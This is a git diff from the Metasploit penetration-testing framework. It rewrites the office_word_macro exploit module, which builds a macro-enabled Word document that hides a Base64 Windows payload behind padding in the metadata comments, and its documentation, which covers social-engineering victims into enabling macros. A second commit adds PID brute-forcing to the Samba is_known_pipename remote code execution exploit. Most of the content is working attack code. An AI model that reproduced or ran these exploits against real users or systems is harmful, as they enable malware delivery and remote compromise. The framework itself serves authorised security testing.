z?3TdTf*1Tanx~J-EL;?v^ttC|JH4z%`hyu&9F2PYAHDlat~F=-$O3nw(T^@lw#2Xxe(YXaH0#sy9Vh zldM9Sdg@}F;PTlXpNal|44uI?Yg4Ex*y8beS{l8LLASSwV|@sRLlvbrb|o`eDKwgu z6PP{lE)OPeswka0v2wTFR^MFjX>atp9Kntjm&5H2;(uL2-g<}2<#z>J+-{ev!GFh9 zI|8ArrgFKIlA)|`$>4-eMu9VxYMaY0P5lLN0H&XXwRsx6N|L+5)d-h#bAw%~_)R@J WGizROk%WKK)0voOW%LI - \ No newline at end of file diff --git a/data/exploits/office_word_macro/word/document.xml b/data/exploits/office_word_macro/word/document.xml deleted file mode 100644 index 6a8a649e91..0000000000 --- a/data/exploits/office_word_macro/word/document.xml +++ /dev/null @@ -1,2 +0,0 @@ - -DOCBODYGOESHER diff --git a/data/exploits/office_word_macro/word/fontTable.xml b/data/exploits/office_word_macro/word/fontTable.xml deleted file mode 100644 index 43997894d3..0000000000 --- a/data/exploits/office_word_macro/word/fontTable.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/data/exploits/office_word_macro/word/settings.xml b/data/exploits/office_word_macro/word/settings.xml deleted file mode 100644 index 2b96121e32..0000000000 --- a/data/exploits/office_word_macro/word/settings.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/data/exploits/office_word_macro/word/styles.xml b/data/exploits/office_word_macro/word/styles.xml deleted file mode 100644 index e51ea329dd..0000000000 --- a/data/exploits/office_word_macro/word/styles.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/data/exploits/office_word_macro/word/theme/theme1.xml b/data/exploits/office_word_macro/word/theme/theme1.xml deleted file mode 100644 index 9c5cd2b64f..0000000000 --- a/data/exploits/office_word_macro/word/theme/theme1.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/data/exploits/office_word_macro/word/vbaProject.bin b/data/exploits/office_word_macro/word/vbaProject.bin deleted file mode 100644 index ec7ea683e143a78acca9cfb4ef836ea47905cb8d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 16384 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 d;L?~inCfrVCur2?_>6ix|L*+yut2ju{{ - \ No newline at end of file diff --git a/documentation/modules/exploit/multi/fileformat/office_word_macro.md b/documentation/modules/exploit/multi/fileformat/office_word_macro.md index 0542810dbc..d36db9836e 100644 --- a/documentation/modules/exploit/multi/fileformat/office_word_macro.md +++ b/documentation/modules/exploit/multi/fileformat/office_word_macro.md @@ -1,13 +1,16 @@ ## Description -This module generates a macro-enabled Microsoft Office Word document. It does not target a specific -CVE or vulnerability, this is more of a feature-abuse in Office, however this type of -social-engineering attack still remains common today. +This module generates a macro-enabled Microsoft Office Word document (docm). It does not target a +specific CVE or vulnerability, instead it's more of a feature-abuse in Office, and yet it's still a +popular type of social-engineering attack such as in ransomware. -There are many ways to create this type of malicious doc. The module injects the Base64-encoded -payload in the comments field, which will get decoded back by the macro and executed as a Windows -executable when the Office document is launched. +By default, the module uses a built-in Office document (docx) as the template. It injects the +Base64-encoded payload into the comments field, which will get decoded back by the macro and executed +as a Windows executable when the Office document is launched. + +If you do not wish to use the built-in docx template, you can also choose your own. Please see more +details below. ## Vulnerable Application @@ -22,58 +25,74 @@ Specifically, this module was tested specifically against: * Microsoft Office 2016. * Microsoft Office Word 15.29.1 (161215). +## Building the Office Document Template + +It is recommended that you build your Office document (docx) template from either one of these +applications: + +* Google Docs +* Microsoft Office Word + +**Google Docs** + +Google Docs is ideal in case you don't have Microsoft Office available. + +Before you start, make sure you have a Gmail account. + +Next, to create a new document, please go to the following: + +[https://docs.google.com/document/?usp=mkt_docs](https://docs.google.com/document/?usp=mkt_docs) + +To save the document as a docx on Google docs: + +1. Click on File +2. Go to Download as +3. Click on Microsoft Word (.docx) + +**Microsoft Office Word** + +If you already have Microsoft Office, you can use it to create a docx file and use it as a template. + + ## Verification Steps +**To use the default template** + 1. ```use exploit/multi/fileformat/office_word_macro``` 2. ```set PAYLOAD [PAYLOAD NAME]``` -3. Configure the rest of the settings accordingly (BODY, LHOST, LPORT, etc) +3. Configure the rest of the settings accordingly (LHOST, LPORT, etc) 4. ```exploit``` 5. The module should generate the malicious docm. +**To use the custom template** + +1. ```use exploit/multi/fileformat/office_word_macro``` +2. ```set PAYLOAD [PAYLOAD NAME]``` +3. ```set CUSTOMTEMPLATE [DOCX PATH]``` +4. Configure the rest of the settings accordingly +5. ```exploit``` +6. The module should generate the malicious docm. + ## Options -**BODY** Text to put in the Office document. See **Modification** below if you wish to modify more. - -## Demo - -In this example, first we generate the malicious docm exploit, and then we set up a -windows/meterpreter/reverse_tcp handler to receive a session. Next, we copy the docm -exploit to a Windows machine with Office 2013 installed, when the document runs the -macro, we get a session: - -![macro_demo](https://cloud.githubusercontent.com/assets/1170914/22602348/751f9d66-ea08-11e6-92ce-4e52f88aaebf.gif) - -## Modification - -To use this exploit in a real environment, you will most likely need to modify the docm content. -Here's one approach you can do: - -1. Use the module to generate the malicious docm -2. Copy the malicious docm to the vulnerable machine, and edit it with Microsoft Office (such as 2013). - When you open the document, the payload will probably do something on your machine. It's ok, - since you generated it, it should not cause any problems for you. -3. Save the doc, and test again to make sure the payload still works. - -While editing, you should avoid modifying the following unless you are an advanced user: - -* The comments field. If you have to modify this, make sure to create 55 empty spaces - in front of the payload string. The blank space is for making the payload less obvious - at first sight if the user views the file properties. -* The VB code in the macro. +**CUSTOMTEMPLATE** A docx file that will be used as a template to build the exploit. ## Trusted Document By default, Microsoft Office does not execute macros automatically unless it is considered as a trusted document. This means that if a macro is present, the user will most likely need to manually -click on the "Enable Content" button in order to run the macro. +click on the "Enable Content" or "Enable Macro" button in order to run the macro. Many in-the-wild attacks face this type of challenge, and most rely on social-engineering to trick the user into allowing the macro to run. For example, making the document look like something written from a legit source, such as [this attack](https://motherboard.vice.com/en_us/article/these-hackers-cleverly-disguised-their-malware-as-a-document-about-trumps-victory). -To truly make the macro document to run without any warnings, you must somehow figure out a way to +To truly make the macro document run without any warnings, you must somehow figure out a way to sign the macro by a trusted publisher, or using a certificate that the targeted machine trusts. +If money is not an issue, you can easily buy a certificate on-line: +[https://www.sslshopper.com/microsoft-vba-code-signing-certificates.html](https://www.sslshopper.com/microsoft-vba-code-signing-certificates.html) + For testing purposes, another way to have a certificate is to create a self-signed one using Microsoft Office's SELFCERT.exe utility. This tool can be found in the following path on Windows: diff --git a/modules/exploits/multi/fileformat/office_word_macro.rb b/modules/exploits/multi/fileformat/office_word_macro.rb index 8c1313b9ce..adf1c9af59 100644 --- a/modules/exploits/multi/fileformat/office_word_macro.rb +++ b/modules/exploits/multi/fileformat/office_word_macro.rb @@ -15,8 +15,8 @@ class MetasploitModule < Msf::Exploit::Remote super(update_info(info, 'Name' => "Microsoft Office Word Malicious Macro Execution", 'Description' => %q{ - This module generates a macro-enabled Microsoft Office Word document. The comments - metadata in the data is injected with a Base64 encoded payload, which will be + This module injects a malicious macro into a Microsoft Office Word document (docx). The + comments field in the metadata is injected with a Base64 encoded payload, which will be decoded by the macro and execute as a Windows executable. For a successful attack, the victim is required to manually enable macro execution. @@ -56,64 +56,226 @@ class MetasploitModule < Msf::Exploit::Remote )) register_options([ - OptString.new("BODY", [false, 'The message for the document body', - 'Contents of this document are protected. Please click Enable Content to continue.' - ]), - OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm']) + OptPath.new("CUSTOMTEMPLATE", [false, 'A docx file that will be used as a template to build the exploit']), + OptString.new('FILENAME', [true, 'The Office document macro file (docm)', 'msf.docm']) ]) end + def get_file_in_docx(fname) + i = @docx.find_index { |item| item[:fname] == fname } - def on_file_read(short_fname, full_fname) - buf = File.read(full_fname) - - case short_fname - when /document\.xml/ - buf.gsub!(/DOCBODYGOESHER/, datastore['BODY']) - when /core\.xml/ - p = target.name =~ /Python/ ? payload.encoded : generate_payload_exe - b64_payload = ' ' * 55 - b64_payload << Rex::Text.encode_base64(p) - buf.gsub!(/PAYLOADGOESHERE/, b64_payload) + unless i + fail_with(Failure::NotFound, "This template cannot be used because it is missing: #{fname}") end - # The original filename of __rels is actually ".rels". - # But for some reason if that's our original filename, it won't be included - # in the archive. So this hacks around that. - case short_fname - when /__rels/ - short_fname.gsub!(/\_\_rels/, '.rels') - end - - yield short_fname, buf + @docx.fetch(i)[:data] end + def add_content_type_extension(extension, content_type) + if has_content_type_extension?(extension) + update_content_type("Types//Default[@Extension=\"#{extension}\"]", 'ContentType', content_type) + else + xml = get_file_in_docx('[Content_Types].xml') + types_node = xml.at('Types') - def package_docm(path) - zip = Rex::Zip::Archive.new + unless types_node + fail_with(Failure::NotFound, '[Content_Types].xml is missing the Types node.') + end - Dir["#{path}/**/**"].each do |file| - p = file.sub(path+'/','') + child_data = "" + types_node.add_child(child_data) + end + end - if File.directory?(file) - print_status("Packaging directory: #{file}") - zip.add_file(p) - else - on_file_read(p, file) do |fname, buf| - print_status("Packaging file: #{fname}") - zip.add_file(fname, buf) + def has_content_type_extension?(extension) + xml = get_file_in_docx('[Content_Types].xml') + xml.at("Types//Default[@Extension=\"#{extension}\"]") ? true : false + end + + def add_content_type_partname(part_name, content_type) + ctype_xml = get_file_in_docx('[Content_Types].xml') + types_node = ctype_xml.at('Types') + + unless types_node + fail_with(Failure::NotFound, '[Content_Types].xml is missing the Types node.') + end + + child_data = "" + types_node.add_child(child_data) + end + + def update_content_type(pattern, attribute, new_value) + ctype_xml = get_file_in_docx('[Content_Types].xml') + doc_xml_ctype_node = ctype_xml.at(pattern) + if doc_xml_ctype_node + doc_xml_ctype_node.attributes[attribute].value = new_value + end + end + + def add_rels_relationship(type, target) + rels_xml = get_file_in_docx('_rels/.rels') + relationships_node = rels_xml.at('Relationships') + + unless relationships_node + fail_with(Failure::NotFound, '_rels/.rels is missing the Relationships node') + end + + last_index = get_last_relationship_index_from_rels + relationships_node.add_child("") + end + + def add_doc_relationship(type, target) + rels_xml = get_file_in_docx('word/_rels/document.xml.rels') + relationships_node = rels_xml.at('Relationships') + + unless relationships_node + fail_with(Failure::NotFound, 'word/_rels/document.xml.rels is missing the Relationships node.') + end + + last_index = get_last_relationship_index_from_doc_rels + relationships_node.add_child("") + end + + def get_last_relationship_index_from_rels + rels_xml = get_file_in_docx('_rels/.rels') + relationships_node = rels_xml.at('Relationships') + + unless relationships_node + fail_with(Failure::NotFound, '_rels/.rels is missing the Relationships node') + end + + relationships_node.search('Relationship').collect { |n| + n.attributes['Id'].value.scan(/(\d+)/).flatten.first.to_i + }.max + end + + def get_last_relationship_index_from_doc_rels + rels_xml = get_file_in_docx('word/_rels/document.xml.rels') + relationships_node = rels_xml.at('Relationships') + + unless relationships_node + fail_with(Failure::NotFound, 'word/_rels/document.xml.rels is missing the Relationships node') + end + + relationships_node.search('Relationship').collect { |n| + n.attributes['Id'].value.scan(/(\d+)/).flatten.first.to_i + }.max + end + + def inject_macro + add_content_type_extension('bin', 'application/vnd.ms-office.vbaProject') + add_content_type_partname('/word/vbaData.xml', 'application/vnd.ms-word.vbaData+xml') + + pattern = 'Override[@PartName="/word/document.xml"]' + attribute_name = 'ContentType' + scheme = 'application/vnd.ms-word.document.macroEnabled.main+xml' + update_content_type(pattern, attribute_name, scheme) + + scheme = 'http://schemas.microsoft.com/office/2006/relationships/vbaProject' + fname = 'vbaProject.bin' + add_doc_relationship(scheme, fname) + + @docx << { fname: 'word/vbaData.xml', data: get_vbadata_xml } + @docx << { fname: 'word/_rels/vbaProject.bin.rels', data: get_vbaproject_bin_rels} + @docx << { fname: 'word/vbaProject.bin', data: get_vbaproject_bin} + end + + def get_vbadata_xml + File.read(File.join(macro_resource_directory, 'vbaData.xml')) + end + + def get_vbaproject_bin_rels + File.read(File.join(macro_resource_directory, 'vbaProject.bin.rels')) + end + + def get_vbaproject_bin + File.read(File.join(macro_resource_directory, 'vbaProject.bin')) + end + + def get_core_xml + File.read(File.join(macro_resource_directory, 'core.xml')) + end + + def create_core_xml_file + add_content_type_partname('/docProps/core.xml', 'application/vnd.openxmlformats-package.core-properties+xml') + add_rels_relationship('http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties', 'docProps/core.xml') + @docx << { fname: 'docProps/core.xml', data: Nokogiri::XML(get_core_xml) } + end + + def inject_payload + p = padding = ' ' * 55 + p << Rex::Text.encode_base64(target.name =~ /Python/i ? payload.encoded : generate_payload_exe) + + begin + core_xml = get_file_in_docx('docProps/core.xml') + rescue Msf::Exploit::Failed + end + + unless core_xml + print_status('Missing docProps/core.xml to inject the payload to. Using the default one.') + create_core_xml_file + core_xml = get_file_in_docx('docProps/core.xml') + end + + description_node = core_xml.at('//cp:coreProperties//dc:description') + description_node.content = p + end + + def unpack_docx(template_path) + doc = [] + + Zip::File.open(template_path) do |entries| + entries.each do |entry| + if entry.name.match(/\.xml|\.rels$/i) + content = Nokogiri::XML(entry.get_input_stream.read) + else + content = entry.get_input_stream.read end + + vprint_status("Parsing item from template: #{entry.name}") + + doc << { fname: entry.name, data: content } end end - zip.pack + doc end + def pack_docm + @docx.each do |entry| + if entry[:data].kind_of?(Nokogiri::XML::Document) + entry[:data] = entry[:data].to_s + end + end + + Msf::Util::EXE.to_zip(@docx) + end + + def macro_resource_directory + @macro_resource_directory ||= File.join(Msf::Config.install_root, 'data', 'exploits', 'office_word_macro') + end + + def get_template_path + if datastore['CUSTOMTEMPLATE'] + datastore['CUSTOMTEMPLATE'] + else + File.join(macro_resource_directory, 'template.docx') + end + end def exploit - print_status('Generating our docm file...') - path = File.join(Msf::Config.install_root, 'data', 'exploits', 'office_word_macro') - docm = package_docm(path) + template_path = get_template_path + print_status("Using template: #{template_path}") + @docx = unpack_docx(template_path) + + print_status('Injecting payload in document comments') + inject_payload + + print_status('Injecting macro and other required files in document') + inject_macro + + print_status("Finalizing docm: #{datastore['FILENAME']}") + docm = pack_docm file_create(docm) super end From 18a871d6a48f542f9a97b600bab5c045fb0e9a7e Mon Sep 17 00:00:00 2001 From: HD Moore Date: Thu, 25 May 2017 16:03:14 -0500 Subject: [PATCH 075/686] Delete the .so, add PID bruteforce option, cleanup --- lib/msf/core/exploit/smb/client.rb | 7 +- .../exploits/linux/samba/is_known_pipename.rb | 76 +++++++++++++++---- 2 files changed, 67 insertions(+), 16 deletions(-) diff --git a/lib/msf/core/exploit/smb/client.rb b/lib/msf/core/exploit/smb/client.rb index df006885f7..4152af8163 100644 --- a/lib/msf/core/exploit/smb/client.rb +++ b/lib/msf/core/exploit/smb/client.rb @@ -125,9 +125,10 @@ module Msf # # You should call {#connect} before calling this # + # @param simple_client [Rex::Proto::SMB::SimpleClient] Optional SimpleClient instance to use # @return [void] - def smb_login - simple.login( + def smb_login(simple_client = self.simple) + simple_client.login( datastore['SMBName'], datastore['SMBUser'], datastore['SMBPass'], @@ -142,7 +143,7 @@ module Msf datastore['SMB::Native_LM'], {:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost} ) - simple.connect("\\\\#{datastore['RHOST']}\\IPC$") + simple_client.connect("\\\\#{datastore['RHOST']}\\IPC$") end diff --git a/modules/exploits/linux/samba/is_known_pipename.rb b/modules/exploits/linux/samba/is_known_pipename.rb index 7545bde4ad..3ae4c1eb75 100644 --- a/modules/exploits/linux/samba/is_known_pipename.rb +++ b/modules/exploits/linux/samba/is_known_pipename.rb @@ -25,6 +25,7 @@ class MetasploitModule < Msf::Exploit::Remote 'steelo ', # Vulnerability Discovery 'hdm', # Metasploit Module 'Brendan Coles ', # Check logic + 'Tavis Ormandy ', # PID hunting technique ], 'License' => MSF_LICENSE, 'References' => @@ -58,6 +59,11 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('SMB_SHARE_BASE', [false, 'The remote filesystem path correlating with the SMB share name']), OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']), ]) + + register_advanced_options( + [ + OptBool.new('BruteforcePID', [false, 'Attempt to use two connections to bruteforce the PID working directory', false]), + ]) end @@ -67,7 +73,10 @@ class MetasploitModule < Msf::Exploit::Remote candidates << datastore['SMB_SHARE_BASE'] end - %W{/volume1 /volume2 /volume3 /shared /mnt /mnt/usb /media /mnt/media /var/samba /tmp /home /home/shared}.each do |base_name| + %W{ /volume1 /volume2 /volume3 /volume4 + /shared /mnt /mnt/usb /media /mnt/media + /var/samba /tmp /home /home/shared + }.each do |base_name| candidates << base_name candidates << [base_name, @share] candidates << [base_name, @share.downcase] @@ -174,9 +183,9 @@ class MetasploitModule < Msf::Exploit::Remote shares end - def probe_module_path(path) + def probe_module_path(path, simple_client=self.simple) begin - simple.create_pipe(path) + simple_client.create_pipe(path) rescue Rex::Proto::SMB::Exceptions::ErrorCode => e vprint_error("Probe: #{path}: #{e}") end @@ -251,24 +260,54 @@ class MetasploitModule < Msf::Exploit::Remote end def find_payload - print_status("Payload is stored in //#{rhost}/#{@share}/#{@path} as #{@payload_name}") # Reconnect to IPC$ simple.connect("\\\\#{rhost}\\IPC$") - # - # In a perfect world we would find a way make IPC$'s associated CWD - # change to our share path, which would allow the following code: - # - # probe_module_path("/proc/self/cwd/#{@path}/#{@payload_name}") - # - - # Until we find a better way, brute force based on common paths + # Look for common paths first, since they can be a lot quicker than hunting PIDs + print_status("Hunting for payload using common path names: #{@payload_name} - //#{rhost}/#{@share}/#{@path}") generate_common_locations.each do |location| target = [location, @path, @payload_name].join("/").gsub(/\/+/, '/') print_status("Trying location #{target}...") probe_module_path(target) end + + # Exit early if we already have a session + return if session_created? + + return unless datastore['BruteforcePID'] + + # XXX: This technique doesn't seem to work in practice, as both processes have setuid()d + # to non-root, but their /proc/pid directories are still owned by root. Tryign to + # read the /proc/other-pid/cwd/target.so results in permission denied. There is a + # good chance that this still works on some embedded systems and odd-ball Linux. + + # Use the PID hunting strategy devised by Tavis Ormandy + print_status("Hunting for payload using PID search: #{@payload_name} - //#{rhost}/#{@share}/#{@path} (UNLIKELY TO WORK!)") + + # Configure the main connection to have a working directory of the file share + simple.connect("\\\\#{rhost}\\#{@share}") + + # Use a second connection to brute force the PID of the first connection + probe_conn = connect(false) + smb_login(probe_conn) + probe_conn.connect("\\\\#{rhost}\\#{@share}") + probe_conn.connect("\\\\#{rhost}\\IPC$") + + # Run from 2 to MAX_PID (ushort) trying to read the other process CWD + 2.upto(32768) do |pid| + + # Look for the PID associated with our main SMB connection + target = ["/proc/#{pid}/cwd", @path, @payload_name].join("/").gsub(/\/+/, '/') + vprint_status("Trying PID with target path #{target}...") + probe_module_path(target, probe_conn) + + # Keep our main connection alive + if pid % 1000 == 0 + self.simple.client.find_first("\\*") + end + end + end def check @@ -331,7 +370,18 @@ class MetasploitModule < 